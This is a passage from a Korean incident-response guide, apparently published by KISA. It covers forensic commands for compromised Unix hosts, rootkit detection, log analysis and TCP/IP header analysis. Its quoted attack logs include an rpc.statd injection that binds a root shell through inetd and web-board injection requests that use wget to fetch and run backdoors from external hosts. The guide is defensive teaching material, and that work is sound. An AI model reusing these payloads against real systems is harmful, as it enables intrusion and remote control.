www.kisa.or.kr # ps -ef more UID PID PPID C STIME TTY TIME CMD root 1 0 0 May 22? 0:44 /etc/init -r root 2 0 0 May 22? 0:00 pageout root 339 1 0 May 22? 0:00 /usr/openwin/bin/fbconsole -d :0 root 53 1 0 May 22? 0:00 /usr/lib/devfsadm/devfseventd root 57 1 0 May 22? 0:00 /usr/lib/devfsadm/devfsadmd root 138 1 0 May 22? 0:00 /usr/sbin/keyserv root 236 1 0 May 22? 0:00 /usr/lib/power/powerd root 25743 1 0 Jun 05? 0:03 /usr/sbin/inetd -s root 136 1 0 May 22? 0:07 /usr/sbin/rpcbind root 190 1 0 May 22? 0:00 /usr/sbin/cron root 176 1 0 May 22? 0:02 /usr/lib/autofs/automountd root 189 1 0 May 22? 0:04 /usr/sbin/syslogd root 204 1 0 May 22? 0:50 /usr/sbin/nscd root 296 1 0 May 22? 0:00 /usr/dt/bin/dtlogin -daemon root 297 1 0 May 22? 0:00 /usr/lib/nfs/mountd root 262 1 0 May 22? 0:00 /usr/lib/sendmail -bd -q15m root 316 1 0 May 22? 0:00 /usr/lib/saf/sac -t 300 root 371 1 0 May 22? 0:00 /usr/openwin/bin/speckeysd root 299 1 0 May 22? 0:00 /usr/lib/nfs/nfsd -a 16 root 337 305 0 May 22? 9:53 mibiisa -r -p 32781 root 322 296 0 May 22? 0:00 /usr/dt/bin/dtlogin -daemon root 367 357 0 May 22? 0:00 /usr/openwin/bin/fbconsole root 390 357 0 May 22? 0:00 /usr/openwin/bin/htt -nosm root 433 431 0 May 22? 0:11 dtwm root 431 414 0 May 22 pts/2 0:45 /usr/dt/bin/dtsession 제 3 장 < 그림 3-28> ps 명령사용예 의심스런 PID 를찾는데위의예에서는 PID 316을의심해볼수있으며, 어떤프로세스인지확인한다. lsof(list Open File) lsof 는 System에서돌아가는모든 process에의해서 open 된파일들에대한정보를보 침해사고분석절차가이드 70 71
제 3 장침해사고분석기술 여주는프로그램이다. 공격당한시스템에 ps가변조되어있을경우에는 ps로는공격자가구동한 process 정보를제대로볼수없는데이럴경우에는 lsof 로확인할수있다. #lsof more.dicasshd 304 root 7u IPv4 219 TCP *:6666.dicasshd 307 root txt REG 3,8 2365990 274254 /usr/sbin/.dicasshd.dicasshd 307 root mem REG 3,1 340856 48102 /lib/ld-2.1.3.so.dicasnif 308 root cwd DIR 3,1 4096 2 /.dicasnif 308 root rtd DIR 3,1 4096 2 /.dicasnif 308 root txt REG 3,8 7165 33951 /usr/man/man1/.dica/.dicasniff.dicasnif 308 root mem REG 3,1 25386 50446 /lib/ld-linux.so.1.9.5.dicasnif 308 root mem REG 3,8 699832 1788 /usr/lib/libc.so.5.dicasnif 308 root 0r CHR 1,3 48166 /dev/null.dicasnif 308 root 1w REG 3,1 520411 690 /tcp.log.dicasnif 308 root 2u CHR 5,1 48220 /dev/console xl 329 root txt REG 3,12 626550 48127 /var/run/...dica/xl xl 329 root mem REG 3,1 340856 48102 /lib/ld-2.1.3.so xl 329 root mem REG 3,1 64535 48111 /lib/libcrypt-2.1.3.so xl 329 root mem REG 3,1 47077 48156 /lib/libutil-2.1.3.so xl 329 root mem REG 3,1 4102325 48109 /lib/libc-2.1.3.so xl 329 root 2u CHR 1,3 48166 /dev/null xl 329 root 5r FIFO 0,0 6 pipe xl 329 root 6w FIFO 0,0 6 pipe xl 329 root 7r DIR 3,1 4096 96195 /bin xl 329 root 8r DIR 3,1 4096 2 / xl 329 root 9u IPv4 237 TCP *:ircd (LISTEN) < 그림 3-29> lsof 명령사용예 netstat -an netstat 는현재시스템의네트워크연결상태를알려주는명령어로어떤포트가열려있는지발신지주소는어떻게되는지등을확인할수있다.
www.kisa.or.kr # netstat -an more Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:98 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:587 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 6 210.xxx.xxx.101:23 211.xxx.xxx.2:31190 ESTABLISHED tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN < 그림 3-30> netstat 명령사용예 nmap -st -p 1-65535 nmap(network mapper) 은네트워크보안을위한유틸리티로, 대규모네트워크를고속으로스캔하는도구이다. 스캔타입으로 -st는 tcp scanning의가장기초적인형태로 connect() 함수를사용해서모든포트에대해스캔하는방식을의미하고, -p 는점검하고자하는포트를지정하는옵션이다. 제 3 장 #./nmap -p 1-65535 ip주소 Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ ) (The 65522 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop-3 143/tcp open imap2 465/tcp open smtps 995/tcp open pop3s 2272/tcp open unknown < 그림 3-31> nmap 명령사용예 침해사고분석절차가이드 72 73
제 3 장침해사고분석기술 ps, lsof, netstat, nmap 등을통해시스템의상황을파악하고, 공격자의단서를찾으며세부사항을살펴서어떠한기능이나역할을하는것인지확인해본다. fuser 만일 netstat 로프로세스를확인할수없는경우, nmap 과 fuser를사용하여어떤프로세스에서포트를열었는지확인할수있다. fuser는현재사용중인파일또는소켓이사용하는프로세스를확인하는명령어로열려있는포트와해당포트를사용중인프로세스확인을통해백도어등의악성프로그램구동여부를확인할수있다. # fuser 6001/tcp 6001/tcp: 6294 l# ps 6294 PID TTY STAT TIME COMMAND 6294? S 25:35 Xrealvnc :1 -desktop X -auth /root/.xauthority -geometry 1024x768 -depth 16 < 그림 3-32> fuser 명령사용예 접속자확인 w, who 등의명령으로접속자를확인한다. # w 7:32pm up 19 days, 8:15, 5 users, load average: 0.08, 0.02, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kong pts/4 123.xxx.xxx.89 Thu 3pm 1.00s 0.15s 0.02s w root pts/1-10jun02 19days 0.02s 0.02s /bin/cat root pts/2 :0 Fri 3pm 15:45m 0.08s 0.08s bash root pts/3 :0 16Jun02 6days 0.07s 0.07s bash < 그림 3-33> w, who 명령사용예
www.kisa.or.kr - w 는 utmp 를참조하여현재시스템에성공적으로로그인한사용자에대한 snapshot 을제공해주는명령으로해킹피해시스템분석시에반드시확인해보아야만한다. 왜냐하면현재시스템분석중에공격자가같이들어와있을경우자신이추적당하는것을눈치채고주요로그를지우거나아예포맷팅을해버릴수도있기때문이다. - 물론, 정상적인로그인절차를거치지않고백도어를통해시스템에접근했을경우에는실제공격자가시스템에로그인해있음에도불구하고보여지지않는다. - w 의결과어떤사용자들이어디에서로그인해들어와있는지알수있고, 그리고그사용자들이어떤작업을하고있는지보여준다. - 사고분석시에공격자를규명하기위해특히주의깊게봐야할부분들은아래와같다. 접속한사용자계정이모두정상적인사용자들인가? 접속출처가정상적인위치인가? 특히, 내부 IP주소이외에서접속하였거나, 국외 IP 주소에서접속한경우는의심할필요가있다. 사용자들의행위가정상적인가? scan 도구를실행하고있거나타시스템을대상으로서비스거부공격을하고있는지살핀다. 제 3 장 가. 패스워드파일분석 /etc/passwd 파일에서 uid=0 인계정 ( 관리자권한을가진계정 ) 이있는지를확인한다. 예 ) 불법계정이추가된 /etc/passwd 파일... blah1::0:0::/tmp:/bin/bash user1:x:0:0::/home/user1:/bin/bash 침해사고분석절차가이드 74 75
제 3 장침해사고분석기술 또한새로생성된계정이나패스워드가없는계정도점검하여본다. 나. 로그파일분석 침해사고피해가발생한시스템의로그는 100% 신뢰할수없게된다. 하지만대부분의사고에서공격관련로그와함께침입후진행된작업의흔적들이로그에남게되므로로그분석을통해사고원인을파악하는데많은도움을얻을수있다. 로그파일의생성일자및변경일자확인 - 외부의공격자는공격으로인해생성되는시스템및접속로그등을삭제하는경우가많다. 로그의내용중일부를삭제하거나변경할경우, 해당로그파일의수정일자가변경되게되므로변경일자확인을통해확인한다. 또한로그삭제프로그램을이용해로그를삭제하는경우, syslog 데몬이재시작되는로그가남기도한다. 주요로그파일 - utmp, wtmp 해당파일에는현재시스템에로그인한사용자나, 과거에로그인했던사용자의정보가저장되게된다. 따라서시스템분석시에꼭확인해야하는로그파일이나, passwd 파일에등재되어있는계정을이용해정상적으로시스템에로그인했을때에만로그가생성되게된다. - messages 많은정보를포함하고있는로그파일로서, 시스템장애에대한정보와더불어공격으로인해남게되는많은유용한정보또한 messages 파일에남는경우가많다. 동작중인서비스에대한버퍼오버플로우공격의경우, 특히 messages 파일에그흔적이남게되므로
www.kisa.or.kr 사고분석시, messages 파일을필히확인하도록한다. 예 ) RPC.STATD 공격시의 messages 로그 messages.2:mar 30 03:37:02 www statd[136]: attempt to create /var/statmon/sm/;echo ingreslock stream tcp nowait root /bin/sh sh -i >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob & messages.2:mar 30 23:36:20 www statd[124]: attempt to create / v a r / s t a t m o n / s m / /../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.../../../../../../../../../../../../../../../../../../../../../../../../.. /.././../../../../.../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/.nfs09 D H $ $ $ $ O * * * * # # P *` c 6 ) # # ; # XbinXsh tirdwr 웹로그최근많은침해사고들이웹취약점을이용한것으로확인되었다. 웹취약점에대한공격은주로중국해커에의한것으로확인되고있으며, 중국해커대부분은공격을위해제작한프로그램을이용공격을한다. 제 3 장 - access_log 확인 < 로그예제 > 211.252.151.11 - - [07/Nov/2006:10:05:02 0900] GET /goodstore.htm HTTP/1.1 200 1738 - Mozilla/4.0 (compatible; Google Desktop) Host ( 도메인또는 IP 주소 ) < 예제부분 211.252.151.11> : 해당웹서버에접속한 IP 주소를나타낸다. 침해사고분석절차가이드 76 77
제 3 장침해사고분석기술 Identification < 예제부분 - > : 사용자의이름을표시하는곳으로서, 일반적으로하이픈 (-) 으로표시된다. User Authentification < 예제부분 - > : 패스워드가표시되는부분으로사용자인증이사용된경우에표시된다. 일반적으로하이픈 (-) 으로표시된다. Time Stamp < 예제부분 [07/Nov/2006:10:05:02 0900]> : 사이트방문자가접속한시간이나타나는부분이다. 0900은 GMT( 그리니치표준시 ) 를의미한다. HTTP Request 필드 < 예제부분 GET /goodstore.htm HTTP/1.1> : 사용자가접속한방식 (GET, POST) 와접속한해당파일, 접속에사용된 HTTP 버전을알수있다. Status 코드 < 예제부분 200> : 사용자가요청한내용이처리된상태를나타낸다. 세부적인 Status 코드는아래표와같다. < 표 3-6> 웹로그중코드의의미코드의미적용예 1** Continue/Protocol Change 2** Success 3** Redirection 웹사이트가이동 200 - 전송성공 204 - 파일은존재하나내용없는경우 4** Client Error/Failure 404 - 요청파일이존재하지않음 5** Server Error 500 - 내부서버에러 Transfer Volume < 예제부분 1738> : 호출된파일의용량을나타낸다. 데이터가없는경우하이픈 (-) 또는 0으로나타난다.
1 2 3 www.kisa.or.kr - 공격로그공격으로인해남게되는로그는여러유형이있을수있다. 본문서에서는 '05년홈페이지변조에많이이용되었던국내공개용게시판공격시남게되는로그를살펴보도록한다. PHP Injection 기법을이용한공격은대부분아래와같은형태의로그를남기게된다. 제로보드공격로그예제 : 다음로그는제로보드취약점중, print_category.php 파일의취약점을이용해공격한 access_log의예제이다. 1 최초, 외부사이트의 URL을이용해, 피해시스템에서 id 명령실행을통해, 취약점존재여부와웹서버구동권한을확인하고있다. 2 그후, 시스템접속을위해백도어프로그램 (r0nin) 을피해시스템에업로드하고있다. 3 업로드한백도어에실행권한을부여한후, 백도어프로그램을실행하고있다. 제 3 장 /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.xx/ newcmd.gif?&cmd=id HTTP/1.1 200 4220 /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.xx/ newcmd.gif?&cmd=cd%20/tmp%20;%20wget%20http://nickvicq.xxx.net/bd/r0nin HTTP/1.1 200 4892 /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.br/ newcmd.gif?&cmd=cd%20/tmp%20;%20chmod%20777%20r0nin%20;%20./r0nin HTTP/1.1 200 4204 < 그림 3-34> 백도어프로그램을실행한로그 테크노트공격로그예제 : 다음로그는테크노트취약점을이용한공격시 access_log에남게되는로그이다. 공격에이용된취약점은다르지만, 로그상으로확인되는공격과정은제로보드와 침해사고분석절차가이드 78 79
1 2 제 3 장침해사고분석기술 매우유사한것을확인할수있다. 1 테크노트의구성파일인 main.cgi 파일의취약점으로인해웹브라우저상에서바로시스템명령의실행이가능한것을확인할수있다. wget 명령을이용해외부의사이트로부터백도어프로그램 (rootdoor) 을다운로드하고있다. 2 다운로드한백도어프로그램에실행권한을부여한후실행하고있다. xxx.xxx.253.126 - - [28/Oct/2004:11:00:53 0900] GET /cgi/b/t/board/main.cgi?board=free_board&command=down_load&filename= wget%20-p%20/var/tmp/%20http://xxx.xxx.com/cavaleirosb1/xpl/rootedoor HTTP/1.1 200 5 - Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) xxx.xxx.253.126 - - [28/Oct/2004:11:01:17 0900] GET /cgi/b/t/board/main.cgi?board=free_board&command=down_load&filename= cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%2 0..;cd%20..;cd%20..;cd%20..;cd%20/var/tmp/;chmod%20777%20rootedoor;./rootedo or HTTP/1.1 200 69 - Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) < 그림 3-35> 다운로드한백도어프로그램을실행한로그 다. 루트킷 (Rootkit) 확인 공격자는자신의행동을숨기기위해정상적인프로그램들을대신하도록바이너리파일들을변조시키는경우가많다. 예를들어 ls를바꿔치기해서 ls를실행시켜도공격자가만든파일이보이지않도록하는것이다. 주로많이변조되며루트킷에포함되어있는프로그램으로는 ls, ps, netstat, login, top, dir, du, ifconfig, find, tcpd 등이있다. 시스템프로그램의파일크기, 생성시간, 변경시간등을확인한다. /bin또는 /usr/bin에가서 #ls -alct more 로확인했을때다른프로그램이기본적으로깔린시간과틀리게변경
www.kisa.or.kr 된것이있는지트로이잔으로자주변조되는 ls, ps, netstat 등의파일사이즈는똑같은 OS, 버전의다른시스템의프로그램과비교하여변조여부를확인한다. 리눅스의경우 rpm -V fileutils 명령어로무결성검사를할수있다. 명령결과가예를들어 S,5.../bin/ls 로나타난다면파일크기파일내용이변조됐다는의미이다. #rpm -V fileutils.m...g. /bin/df S.5...GT /bin/ls S.5...T c /etc/profile.d/colorls.sh..5...gt /usr/bin/dir s : 프로그램의사이즈가변경 5 : md5 checksum 값이변경 T : 파일의 mtime 값이변경 < 그림 3-36> rpm 명령의사용예솔라리스의경우 fingerprint 를제공하고있으며아래의사이트에서 md5 프로그램을다운받아설치하고검사하고자하는파일의 checksum 값을만들어이를비교해봄으로써파일의변조유무를알수있다. 제 3 장 http://sunsolve.sun.com/pub-cgi/show.pl?target=content/content7 strace 명령을통해시스템콜을추적할수있다. 트로이잔으로변경된시스템프로그램과정상적인시스템프로그램을 strace 명령어를이용해비교해변조유무를확인할수있다. 예를들어공격을당한시스템을분석했을때 ps 가아래와같이 /usr/lib/locale/ro_ro/ uboot/etc/procrc 파일을참조하는것을볼수있었으며, 이파일은공격자가숨기고싶은프로세스명을 /usr/lib/locale/ro_ro/uboot/etc/procrc 에나열하고있었고이런경우 ps명 침해사고분석절차가이드 80 81
제 3 장침해사고분석기술 령으로는해당프로세스가보이지않게된다. # strace -e trace=open ps more... open( /usr/lib/locale/ro_ro/uboot/etc/procrc, O_RDONLY) = 5... # strace -e trace=open netstat more... open( /usr/lib/locale/ro_ro/uboot/etc/netstatrc, O_RDONLY) = 3... < 그림 3-37> strace 명령의사용예 그러므로 strace명령어를이용해위의예에서처럼시스템명령의변조유무와숨기고자하는파일들이들어있는위치등을파악할수있다. 라. 기타해킹관련파일조사 공격자가피해시스템에들어와어떤작업을했는지를분석한다. 혹다른시스템을스캔하거나공격도구를설치하였는지, irc 서버를설치하였는지, 로그를삭제하였는지, 스니퍼프로그램을설치하였는지등을조사한다. 아래의명령어는최근에수정되거나새롭게생성된파일을찾는명령어로공격자가시스템파일의변조를숨기기위해시간을수정하는경우가있으므로이러한경우에대비하여 inode 변경시간을점검한다. 예 ) 최근 10일동안수정되거나새롭게생성된파일을찾아서 /var/kisa/cime10.out에저장하라는명령
www.kisa.or.kr #find / -ctime -10 -print -xdev >/var/kisa/cime10.out setuid 를가지는실행프로그램은실행도중에슈퍼유저 (root) 의권한을가지고실행되므로 find를이용하여 setuid 나 setgid 파일이있는지확인한다. #find / -user root -perm -4000 -print>suidlist #find / -user root -perm -2000 -print>sgidlist 숨겨둔파일찾기 : 보통공격자가자주해킹과관련된파일을가져다놓는디렉터리는 /usr, /var, /dev, /tmp 가있으며이런디렉터리에이상한파일이존재하지는않는지조사한다. 또한공격자들은주로. 나.. 로시작하는디렉터리를만들어사용하는경우가많으므로 ( 이는관리자가아무런옵션없이 ls 명령어를사용할경우보이진않으므로 ) 다음의명령으로숨겨진디렉터리가있는지점검해본다. 제 3 장 예 ) # find /-name "..*" -print 또는 # find /-name ".*" -print 예 ) 일반적으로 /dev밑에는 MAKEDEV등과같은 device관리파일외에의일반파일이있으면안되므로 device관리파일외에일반파일이검색되는지확인한다. #find /dev -type f -print 시스템이부팅될때같이수행되도록 /etc/rc.d 디렉터리 (rc.sysinit, rc.local), rc0.d rc6.d 디렉터리에넣는경우가많으므로이를확인한다. 침해사고분석절차가이드 82 83
제 3 장침해사고분석기술 제 3 절네트워크사고분석 침입사고나네트워크공격이발생했을경우, 네트워크관리자들이발생현황을파악하고증거분석을위해서여러가지정보를수집해야한다. < 표 3-7> 은네트워크에서발생하는다양한사고의종류와해당사고가발생한경우에수집해야하는정보들이다. < 표 3-7> 네트워크사고종류및수집해야하는정보 사고의종류사고수집정보 프로세스및저장장치불법사용 호스트 : 액세스로그, 프로세스상태, CPU 사용률과파일및저장공간상태 불법적인자원사용 DoS (denial of service) 데이터손상및변조 정보누설 네트워크대역폭불법사용 메일및프록시서비스의불법릴레이 (relay) 서버자원들을과도하게소모하여서비스불안정및중단 네트워크대역폭을과도하게점유하여통신불안정및중단 웹페이지, 데이터파일, 프로그램파일변조 비공개자료의누설과통신가로채기 네트워크 : 회선상태, 송수신된패킷개수, IP 주소, 프로토콜사용현황및스위치포트상태 호스트 : 어플리케이션로그와프로세스상태네트워크 : IP 주소, 프로토콜사용현황및데이터내용 호스트 : 프로세스상태, CPU 사용률및비정상적인패킷로그네트워크 : 회선상태, 비정상적인패킷개수, IP 주소및비정상적인패킷의내용 네트워크 : 송수신된패킷개수, IP 주소, 프로토콜사용현황및데이터내용 호스트 : 액세스로그, 파일과저장장치상태, 환경파일의내용등네트워크 : IP 주소, 프로토콜사용현황, 데이터내용, 스위치포트의상태 호스트 : 액세스로그와파일및저장장치상태네트워크 : IP 주소, 프로토콜사용현황, 데이터내용및스위치포트상태
www.kisa.or.kr 위 < 표 3-7> 에서와같이대부분의사고나공격이발생하는경우, 그원인과발생지를찾기위해서네트워크트래픽정보와패킷은반드시수집하여분석해야한다. 네트워크트래픽정보는 MRTG와같은공개소프트웨어나네트워크관리에사용되는많은 NMS (Network Management System), 보안을위하여사용하는방화벽, IDS 등에서수집할수있으며, 라우터나스위치의간단한명령어만으로확인할수도있다. 또한명확한원인분석을위하여필요한실제네트워크패킷들은공개프로토콜분석기인 Ethereal이나편리한사용자인터페이스를제공하는다양한전문분석기를사용하여간단하게수집및분석할수있다. 네트워크에서수집할수있는주요정보는대역폭사용량, 트래픽을대량으로발생시키고있는 IP 주소, 침입을위하여내부의사용자나서버의 IP 주소나 TCP/UDP 포트를스캐닝하고있는 IP 주소, 프로토콜 (TCP/UDP 포트 ) 별사용현황, 라우터나스위치의포트별트래픽발생현황등과같은통계데이터와실제데이터를송수신하고있는패킷들이다. 제 3 장 네트워크에서수집한패킷들은많은 IP와 TCP/UDP 헤더정보를포함하고있기때문에패킷들을명확하게분석하기위해서는 TCP/IP 헤더에대한이해가필요하다. < 그림 3-38> 은 IP 헤더에포함되는정보이다. 침해사고분석절차가이드 84 85
제 3 장침해사고분석기술 < 그림 3-38> IP 헤더 IP 헤더의일부필드는네트워크공격이나침입에사용된다. Flag (3 bits) - Bit 0 : 일반적으로 0으로설정 - Bit 1 : 0이면큰패킷에대한조각이며, 1이면조각을허용하지않는것이다. - Bit 2 : 0이면해당패킷이마지막조각이며, 1이면마지막이아니다. - 이필드는 Ethernet 에서전송할수있는 1518bytes의이하의패킷을강제로작은조각으로분리해서전송하는경우에사용한다. 즉, 대상시스템의전송계층이아닌 IP 계층에서패킷을모두모아야상위계층으로전달하게된다. 보안장비에서전송계층의헤더만검색하는경우에는막을수없게하는방법으로사용되기도한다. Time to Live (8 bits) - 일반적으로 TTL이라고하며, 해당패킷이전송과정에서통과할수있는최대라우터개수를나타낸다. - 해당패킷의전송수명을제한하는것이며, 송신시스템에서특정값으로설정되어라우터를통과할때마다하나씩감소한다.
www.kisa.or.kr - 이필드의값이 0 에도달하였을때에해당패킷은버려지고, 송신시스템에게 ICMP 프로토콜을사용하여전송하는과정에서에러가발생하였음을통보하게된다. ( 무한라우팅루프를방지 ) - 내부적으로시스템간의테스트 (local test) 를위하여 1 로설정된패킷을송신하기도하지만, 내부의시스템에서라우터와네트워크를공격하기위하여강제로 1 로설정하기도한다. Protocol (8 bits) - IP 계층 ( 네트워크 ) 의상위계층 ( 전송 ) 에있는프로토콜을표시한다. - ICMP (1), TCP (6), UDP (17) - 0부터 255까지의값을갖지만, 255는사용하지못하게예약되어있다. 전송계층의프로토콜을해석하지못하여전송계층의헤더를해석하는장비에서오류가발생하도록공격하는패킷에서 255로사용하기도한다. < 그림 3-39> 는전송계층인 TCP의헤더이다. TCP 헤더는시스템과네트워크를연결해주는가장중요한계층이기때문에가장복잡하고공격이나침입을파악하기위하여주요필드는반드시이해하고있어야한다. 대부분의분석자료에서살펴보면, 네트워크웜 (worm), Dos 공격및침입포트또는공격패턴을설명하기위하여많이인용하는헤더이다. 제 3 장 침해사고분석절차가이드 86 87
제 3 장침해사고분석기술 < 그림 3-39> TCP 헤더 침입이나공격패킷들을분석하기위해서는다음 TCP 필드들을살펴보아야한다. Source Port (16 bits) - 0 ~ 65535까지정의할수있으며, 해당패킷을보내는시스템에서할당한논리적인포트이다. 즉, 해당패킷에대한응답을받는시스템의포트이다. Destination Port (16 bits) - 0 ~ 65535까지정의할수있으며, 해당패킷을받는시스템에서할당한논리적인포트이다. - 이두포트번호가상대적으로서로일치하면, 한세션으로인식된다. - 네트워크를통하여특정어플리케이션을공격하는경우에는, 이포트가해당어플리케이션에서사용하는서비스포트이다. 대부분한포트만공격하지만, 최근의네트워크웜들은여러개의포트를동시에공격하는경우도있다. Sequence Number (32 bits) - 송신자가전송하는데이터의 TCP 세그먼트번호이다. - 번호는초기접속과정에서할당되어전송되는데이터세그먼트의크기만큼증가한다. 즉, TCP 헤더다음에포함되어있는데이터바이트수만큼증가한다.
www.kisa.or.kr - TCP 헤더다음에데이터가포함되어있지않은경우에는증가하지않는다. 즉, Ack 패킷의경우에는데이터가포함되어있지않기때문에몇개의 Ack 패킷들에할당되어있는번호가같게된다. Acknowledgement Number (32 bits) - 송신자가해당패킷을수신하는호스트로부터다음에받아야하는패킷의 TCP 세그먼트번호이다. 즉, 해당패킷을수신한호스트에서는이번호가할당되어있는패킷으로응답한다. Control Bits (6 bits) - TCP 세그먼트의목적, 즉해당패킷의용도를표시한다. 각필드가 1 로설정되면, 해당패킷은설정된용도를위하여전송되는것이다. - URG (Urgent Pointer Field): 긴급을전달이필요한패킷임을표시한다. - ACK (Acknowledgement): 이전패킷에대한응답패킷임을표시한다. - PSH (Push): 해당세그먼트를메모리에서재합성하지말고어플리케이션에게바로전달해야하는세그먼트임을표시한다. - RST (Reset): 해당세션을강제로종료함을표시한다. - SYN (Synchronize): 초기접속을시작하는경우에사용된다. 이플래그가설정된패킷에는초기 Sequence Number와 TCP Window 크기가명시되어있다. < 그림 3-40-A> 는 TCP 세션시작을위하여송수신되는패킷들의흐름이다. - FIN (Fin): 세션종료를위한패킷임을표시한다. < 그림 3-40-B> 는 TCP 세션종료시점에서송수신되는패킷의흐름이다. 제 3 장 침해사고분석절차가이드 88 89
제 3 장침해사고분석기술 호스트 1 SYN seq=x 전송 SYN ACK 세그먼트 수신 ACK y1 전송 네트워크 패킷 흐름 호스트 2 SYN 세그먼트 수신 SYN seq=y, ACK x1 전송 ACK 세그먼트 수신 < 그림 3-40-A> 세션시작을위한패킷흐름 호스트 1 FIN seq=x 전송 ACK 세그먼트 수신 FIN ACK 세그먼트 수신 ACK y1 전송 네트워크 패킷 흐름 호스트 2 FIN 세그먼트 수신 ACK x1 전송어플리케이션 확인 FIN, ACK x1 전송 ACK 세그먼트 수신 < 그림 3-40-B> 세션종료를위한패킷흐름 Window (16 bits) - TCP에서데이터의송수신과정을원활하게하기위하여사용되는버퍼의크기이다. 초기접속하는과정에서운영체제나어플리케이션에따라다른크기로할당된다. - 데이터세그먼트를수신하는호스트에서는해당세그먼트를버퍼에누적하는경우에, Window 크기를감소시켜서송신하는호스트에게통보해야하여데이터송신을늦추고, 누적된세그먼트들을처리했을경우에는다시 Window 크기를초기화한다. - 네트워크시스템이나특정호스트를공격하기위하여많은패킷들을송신하는일부네트워크웜의경우에는 TCP Window 가일정한크기로고정되어있다. 때문에웜의특징을설명할때에종종 TCP Window 크기를명시하기도한다.
www.kisa.or.kr 가. 측정구간 외부의침입이나공격을확인하기위하여트래픽과패킷을수집해야하는위치는목적에따라서다르겠지만, 가장우선적으로 < 그림 3-41> 와같이라우터와가까운위치에서수집해야한다. 또한방화벽을사용하고있고, 방화벽에서 IP 주소를공인에서사설로바꾸어주는 NAT 기능이동작하고있다면, 방화벽앞과뒤에서동시에측정하는것도좋은방법이다. IP 주소는바뀌지만, 같은시간대에생성된세션을찾아서동일한패킷들로분석할수있다. Internet WLAN Sensor Iistening in front of and behind the NAT gateway sees public and private IP addresses 제 3 장 LAN < 그림 3-41> 트래픽및패킷측정구간 IP 주소를변조하여네트워크를공격하는최근의네트워크웜을찾아서분석하기위해서는내부네트워크의전구간이측정대상이되며, 특히백본이나주요액세스스위치들의포트트래픽과 CPU 상태를동시에관찰해야한다. 대부분의네트워크공격들이외부에서특정시스템이과도한트래픽을발생시켜서라우터나방화벽또는백본스위치에영향을주기보다는내부에있는호스트가서로를공격하도록하는 DDos (Distributed Dos) 방법을사 침해사고분석절차가이드 90 91
제 3 장침해사고분석기술 용하고있다. Internet Permanent NSM sensor Wireless sensor on laptop WLAN DMZ Multiple sensors off SPAN regen tap LAN Caged server Matrix switch and sensor Spare, pre-configured sensors < 그림 3-42> 주요측정구간 나. 패킷수집 대부분의프로토콜분석기에는기본적으로캡쳐옵션들을설정하여패킷을버퍼나파일로저장하는방법을제공한다. 만약패킷의헤더정보만분석에필요하고, 실제사용자들의데이터가필요하지않은경우에는모든패킷들의시작부분에서일정크기만큼만캡쳐하는기능도제공한다. 파일로저장하는기능에는일정개수의파일을항상유지하도록하는기능이있으며, 일정개수만큼생성되는파일에는항상최근의패킷들만포함되도록하는기능도 (Ring Buffer) 유용하게사용할수있다. 즉, 언제어떤사고가발생할지알수없는상황에서항상일정시간동안의트래픽정보와패킷을보관하고있으면, 사고가발생해도명확한원인을분석할수있다. 패킷을수집하여파일로저장할때, 파일의크기는 24~32 MBytes로설정하는것이좋다. 파일크기를너무크게설정하면, 향후에다시분석기에서해당파일을읽어들여서저
www.kisa.or.kr 장되어있는모든패킷들을분석하는데많은시간이필요하게된다. 저장되는파일의개수는패킷을수집하는구간에서발생하는트래픽과패킷저장이필요한시간을계산하여설정한다. 즉, 패킷을캡쳐하는동안파일하나가생성되는데몇분이필요한지파악하면, 원하는시간동안의모든패킷들을캡쳐하기위해서는몇개의파일이생성되어야하는지계산할수있다. 다. 트래픽통계관찰 트래픽통계는 NMS나주요시스템의내부명령어를사용하여언제든지관찰할수있으며, 패킷이캡쳐된시간동안의트래픽통계도분석기에서간단하게살펴볼수있다. 침입에대한분석을하기위해서는침입을탐지하는시스템의로그와침입대상이된시스템의로그를함께관찰하는것이좋다. 공격이나비정성적인트래픽에대해서는시스템에서제공하는통계나분석기에서제공하는통계만으로간단하게관찰할수있다. MAC 주소별트래픽통계 : 사용자들이나서버들이연결되어있는액세스스위치구간에서는호스트별 MAC 주소를확인하여트래픽발생상태를관찰할수있다. 하지만, 라우터나백본구간에서는호스트의 MAC 을확인할수없기때문에중요한의미를갖지못한다. 제 3 장 < 그림 3-43> MAC 주소별트래픽통계 침해사고분석절차가이드 92 93
